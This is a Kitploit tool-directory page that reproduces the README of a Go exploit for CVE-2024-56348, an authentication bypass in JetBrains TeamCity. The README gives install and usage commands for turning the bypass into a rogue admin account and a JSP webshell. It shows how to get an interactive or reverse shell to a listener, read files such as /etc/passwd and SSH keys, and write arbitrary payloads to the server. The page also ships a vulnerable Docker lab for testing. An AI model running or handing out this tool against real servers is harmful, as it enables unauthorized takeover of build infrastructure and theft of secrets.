Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2024-56348 — Go-based exploit for CVE-2024-56348 targeting JetBrains TeamCity authentication bypass and remote code execution. Provides interactive shell, reverse shell, file read/write, and single command execution without credentials. | Kitploit
Tools/GitHubGitHub/joshuavanderpoll/cve-2024-56348
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingAuthenticationRed TeamingRemote Access Tool
GitHubjoshuavanderpoll/cve-2024-56348

cve-2024-56348

Go-based exploit for CVE-2024-56348 targeting JetBrains TeamCity authentication bypass and remote code execution. Provides interactive shell, reverse shell, file read/write, and single command execution without credentials.

View RepositoryWebsite
236 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

JetBrains TeamCity Authentication Bypass + RCE (CVE-2024-56348) PoC

Go

📜 Description

CVE-2024-56348 is a critical authentication bypass vulnerability in JetBrains TeamCity on-premises affecting all versions prior to 2024.12. The REST API improperly handles requests to paths containing ;.jsp, allowing an unauthenticated attacker to invoke any REST endpoint as if fully authenticated.

This exploit chains the bypass with TeamCity's own REST API to create a SYSTEM_ADMIN account, mint an API token, and achieve full remote code execution — either through the built-in debug endpoint or a dynamically uploaded JSP plugin webshell. No credentials required.

Affected versions: JetBrains TeamCity on-premises < 2024.12

✨ Features

  • Interactive shell — pseudo-shell with stdout/stderr separation and exit code in the prompt
  • Command execution — single command via -command with full stdout, stderr, and exit code output
  • Reverse shell — deploys a JSP plugin webshell and triggers a callback to your listener
  • File read — read any file the TeamCity process can access
  • File write — drop arbitrary content to any writable path on the server
  • 🛠️ Installation

    root@kitploit:~
    git clone https://github.com/joshuavanderpoll/cve-2024-56348.git
    cd CVE-2024-56348
    go build -o exp cve-2024-56348.go
    

    Install directly with Go

    root@kitploit:~
    go install github.com/joshuavanderpoll/cve-2024-56348@latest
    

    Run without installing

    root@kitploit:~
    go run github.com/joshuavanderpoll/cve-2024-56348@latest -t http://127.0.0.1:8111
    

    ⚙️ Usage

    root@kitploit:~
      -t          Target URL  (e.g. http://127.0.0.1:8111)
      -command    Execute a single command and print output
      -shell      Spawn a reverse shell (requires -lhost and -lport)
      -lhost      Listener host for the reverse shell
      -lport      Listener port for the reverse shell
      -read-file  Read a remote file and print its contents
      -write-file Remote path to write to (requires -file-content)
      -file-content Content to write when using -write-file
    

    No action flag drops into an interactive shell automatically.


    Vulnerability check + interactive shell

    Connects to the target, confirms the bypass, creates a temporary admin account, and drops into an interactive shell. The prompt shows the exit code of the last command in green (success) or red (non-zero).

    root@kitploit:~
    ./cve-2024-56348 -t http://127.0.0.1:8111
    

    Interactive shell


    Single command execution

    Runs one command and prints stdout, stderr, and exit code separately.

    root@kitploit:~
    ./cve-2024-56348 -t http://127.0.0.1:8111 -command "id"
    

    Command execution


    Reverse shell

    Deploys the JSP plugin webshell and triggers a reverse shell back to your listener. Start nc -lvp 4444 first.

    root@kitploit:~
    ./cve-2024-56348 -t http://127.0.0.1:8111 -shell -lhost 10.0.0.1 -lport 4444
    

    Reverse shell


    File read

    Reads any file the TeamCity process has access to — useful for config files, SSH keys, etc.

    root@kitploit:~
    ./cve-2024-56348 -t http://127.0.0.1:8111 -read-file /etc/passwd
    

    Read file


    File write

    Writes arbitrary content to a remote path. Useful for dropping additional payloads or modifying config.

    root@kitploit:~
    ./cve-2024-56348 -t http://127.0.0.1:8111 -write-file /tmp/readme.txt -file-content "LEAVE ME HERE"
    

    Write file


    🐋 Docker PoC

    A self-contained Docker Compose environment with a vulnerable TeamCity instance for local testing. Check DOCKER.md for more details

    root@kitploit:~
    cd docker/
    docker compose up -d
    ./cve-2024-56348 -t http://127.0.0.1:8111
    

    If the script returns "[-] Plugin upload failed." try to login with hackindex user and try again. (credentials can be found in DOCKER.md)

    🕵🏼 References

    • JetBrains Security Advisory — CVE-2024-56348
    • NVD — CVE-2024-56348
    • HackIndex

    📢 Disclaimer

    This tool is provided for educational and research purposes only. The creator assumes no responsibility for any misuse or damage caused by this tool.

    Download Tool